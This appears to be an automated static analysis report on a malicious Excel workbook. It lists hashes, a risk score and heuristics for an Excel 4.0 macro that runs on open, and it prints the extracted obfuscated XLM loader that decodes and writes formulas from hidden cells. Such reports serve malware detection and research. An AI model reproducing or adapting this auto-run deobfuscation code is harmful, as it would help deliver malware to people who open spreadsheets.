Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 2f5f7b882177c621…

MALICIOUS

Office (OLE)

36.0 KB Created: 2020-11-25 10:27:34 Authoring application: Microsoft Excel First seen: 2021-02-23
MD5: 6e2e94de643b4e834ed6d361e366520a SHA-1: f19cfe9c49c6c1e6e644a91819658166ec80b0bd SHA-256: 2f5f7b882177c6211c35b72536c4538f517a6ba721471553256704a9ae035fd5
140 Risk Score

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6555 bytes
SHA-256: f619b39a361ae1dc60d2aa893e381935ae9d21bf560316d6f18608eb23ecfebd
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     17 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  CcyZFDLv
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!F172 
' 0018     24 LABEL : Cell Value, String Constant - ELlKJsDZo len=0 
' 0018     21 LABEL : Cell Value, String Constant - fNSsks len=0 
' 0018     22 LABEL : Cell Value, String Constant - GbGkoYX len=0 
' 0018     26 LABEL : Cell Value, String Constant - GpmWSbfkPuL len=0 
' 0018     27 LABEL : Cell Value, String Constant - IBZCfatFtlcO len=0 
' 0018     24 LABEL : Cell Value, String Constant - IpQaHdKSb len=0 
' 0018     26 LABEL : Cell Value, String Constant - JhuMcgFgOCJ len=0 
' 0018     27 LABEL : Cell Value, String Constant - jqiXooxHLPca len=0 
' 0018     27 LABEL : Cell Value, String Constant - KNjoWhDEfWgv len=0 
' 0018     25 LABEL : Cell Value, String Constant - OYzxsLFcOL len=0 
' 0018     22 LABEL : Cell Value, String Constant - qXYScKt len=0 
' 0018     22 LABEL : Cell Value, String Constant - RFTYREB len=0 
' 0018     23 LABEL : Cell Value, String Constant - SMAWnRuY len=0 
' 0018     27 LABEL : Cell Value, String Constant - sndQwLsVVvWx len=0 
' 0018     27 LABEL : Cell Value, String Constant - tAQGTILXRKjC len=0 
' 0018     27 LABEL : Cell Value, String Constant - TKWiobitRMSA len=0 
' 0018     20 LABEL : Cell Value, String Constant - XDrVZ len=0 
' 0018     20 LABEL : Cell Value, String Constant - XNhxm len=0 
' 0018     22 LABEL : Cell Value, String Constant - zPYbJuX len=0 
' 0018     20 LABEL : Cell Value, String Constant - zQpzc len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  CcyZFDLv,F73,"SET.NAME("ELlKJsDZo",VALUE("0"))",""
'  CcyZFDLv,F76,"SET.NAME("fNSsks",ELlKJsDZo)",""
'  CcyZFDLv,F79,"SET.NAME("qXYScKt",ELlKJsDZo)",""
'  CcyZFDLv,F83,"SET.NAME("tAQGTILXRKjC",COUNTA(RFTYREB))",""
'  CcyZFDLv,F88,"SET.NAME("XDrVZ",COUNTA(sndQwLsVVvWx))",""
'  CcyZFDLv,F93,[],""
'  CcyZFDLv,F98,"SET.NAME("zQpzc","")",""
'  CcyZFDLv,F102,"fNSsks",""
'  CcyZFDLv,F104,"SET.NAME("IBZCfatFtlcO",HLOOKUP("*",RFTYREB,fNSsks,FALSE))",""
'  CcyZFDLv,F106,"GbGkoYX",""
'  CcyZFDLv,F110,"SET.NAME("IpQaHdKSb",ELlKJsDZo)",""
'  CcyZFDLv,F113,[],""
'  CcyZFDLv,F118,"IpQaHdKSb",""
'  CcyZFDLv,F122,"TKWiobitRMSA",""
'  CcyZFDLv,F125,"SMAWnRuY",""
'  CcyZFDLv,F130,"OYzxsLFcOL",""
'  CcyZFDLv,F133,"SET.NAME("GpmWSbfkPuL",VALUE(HLOOKUP("*",sndQwLsVVvWx,OYzxsLFcOL,FALSE)))",""
'  CcyZFDLv,F135,"KNjoWhDEfWgv",""
'  CcyZFDLv,F140,"zQpzc",""
'  CcyZFDLv,F144,"qXYScKt",""
'  CcyZFDLv,F147,NEXT(),""
'  CcyZFDLv,F152,"jqiXooxHLPca",""
'  CcyZFDLv,F154,"SET.NAME("f",INT(T(FORMULA(T(zQpzc)&"",""&T(jqiXooxHLPca)))))",""
'  CcyZFDLv,F159,"XNhxm",""
'  CcyZFDLv,F164,NEXT(),""
'  CcyZFDLv,F167,RETURN(),""
'  CcyZFDLv,F195,"SET.NAME("zPYbJuX",F73)",""
'  CcyZFDLv,F197,"RFTYREB",""
'  CcyZFDLv,F202,"SET.NAME("sndQwLsVVvWx",R70C11)",""
'  CcyZFDLv,F205,"SET.NAME("XNhxm",214)",""
'  CcyZFDLv,F209,"SET.NAME("JhuMcgFgOCJ",6)",""
'  CcyZFDLv,F213,zPYbJuX(),""
'  CcyZFDLv,F214,HALT(),""